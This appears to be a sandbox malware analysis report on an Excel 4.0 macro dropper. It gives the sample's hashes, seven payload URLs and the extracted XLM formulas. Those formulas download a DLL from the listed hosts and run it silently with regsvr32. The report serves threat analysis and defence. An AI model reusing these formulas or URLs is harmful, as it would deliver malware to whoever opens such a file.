General

  • Target

    75b6266af262e264a993d27eefe674eb4164e7b854dbb3c4b9ed2cb9026dcff0

  • Size

    122KB

  • Sample

    241120-16q6sayqeq

  • MD5

    831b66540938ec18e0f1753819f2392f

  • SHA1

    85e917748be549f898b4d9b1f07e7af87e3a034e

  • SHA256

    75b6266af262e264a993d27eefe674eb4164e7b854dbb3c4b9ed2cb9026dcff0

  • SHA512

    956f7cc9826375266c54542544ec5470d9d3f3b7552ff19781a1063f7c7c9a5bec3be8dd1acfe1f862a6717ff64b162f9189a6dc594490b0f75686e74a38ce78

  • SSDEEP

    3072:BDUVIc/arWmzgyYTnYNelISKXhsVskl4OjkQ:FAzSTgyYz5p6cQQ

Score
10/10

Malware Config

Extracted

Rule
Excel 4.0 XLM Macro
C2

https://mkt.digitalhouse.com/pablo/2Ua1v3E8rB/

https://s-armsestonia.com/wp-content/7JKeYnm4TKIO1XvXK/

https://oneworldlantern.com/9A033MS/

https://ruiver.nl/fotoalbum/R6oydzYl2ezPTUSKas5/

https://rvdempreendimentos.cloudstorage.pw/cgi-bin/SBVe/

https://andrewpharma.com/wp-includes/KKXAiWGL/

https://wxoperate.bb2play.com/framework/1zTlT1/

Attributes
  • formulas

    =CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://mkt.digitalhouse.com/pablo/2Ua1v3E8rB/","..\whxc.dll",0,0) =IF('IJEGVS'!H16<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://s-armsestonia.com/wp-content/7JKeYnm4TKIO1XvXK/","..\whxc.dll",0,0)) =IF('IJEGVS'!H18<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://oneworldlantern.com/9A033MS/","..\whxc.dll",0,0)) =IF('IJEGVS'!H20<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://ruiver.nl/fotoalbum/R6oydzYl2ezPTUSKas5/","..\whxc.dll",0,0)) =IF('IJEGVS'!H22<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://rvdempreendimentos.cloudstorage.pw/cgi-bin/SBVe/","..\whxc.dll",0,0)) =IF('IJEGVS'!H24<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://andrewpharma.com/wp-includes/KKXAiWGL/","..\whxc.dll",0,0)) =IF('IJEGVS'!H26<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://wxoperate.bb2play.com/framework/1zTlT1/","..\whxc.dll",0,0)) =IF('IJEGVS'!H28<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe -s ..\whxc.dll") =RETURN()

Extracted

Language
xlm4.0
Source
URLs
xlm40.dropper

https://mkt.digitalhouse.com/pablo/2Ua1v3E8rB/

xlm40.dropper

https://s-armsestonia.com/wp-content/7JKeYnm4TKIO1XvXK/

xlm40.dropper

https://oneworldlantern.com/9A033MS/

xlm40.dropper

https://ruiver.nl/fotoalbum/R6oydzYl2ezPTUSKas5/

xlm40.dropper

https://rvdempreendimentos.cloudstorage.pw/cgi-bin/SBVe/

xlm40.dropper

https://andrewpharma.com/wp-includes/KKXAiWGL/

xlm40.dropper

https://wxoperate.bb2play.com/framework/1zTlT1/

Targets

    • Target

      75b6266af262e264a993d27eefe674eb4164e7b854dbb3c4b9ed2cb9026dcff0

    • Size

      122KB

    • MD5

      831b66540938ec18e0f1753819f2392f

    • SHA1

      85e917748be549f898b4d9b1f07e7af87e3a034e

    • SHA256

      75b6266af262e264a993d27eefe674eb4164e7b854dbb3c4b9ed2cb9026dcff0

    • SHA512

      956f7cc9826375266c54542544ec5470d9d3f3b7552ff19781a1063f7c7c9a5bec3be8dd1acfe1f862a6717ff64b162f9189a6dc594490b0f75686e74a38ce78

    • SSDEEP

      3072:BDUVIc/arWmzgyYTnYNelISKXhsVskl4OjkQ:FAzSTgyYz5p6cQQ

    Score
    10/10

MITRE ATT&CK Enterprise v15

Tasks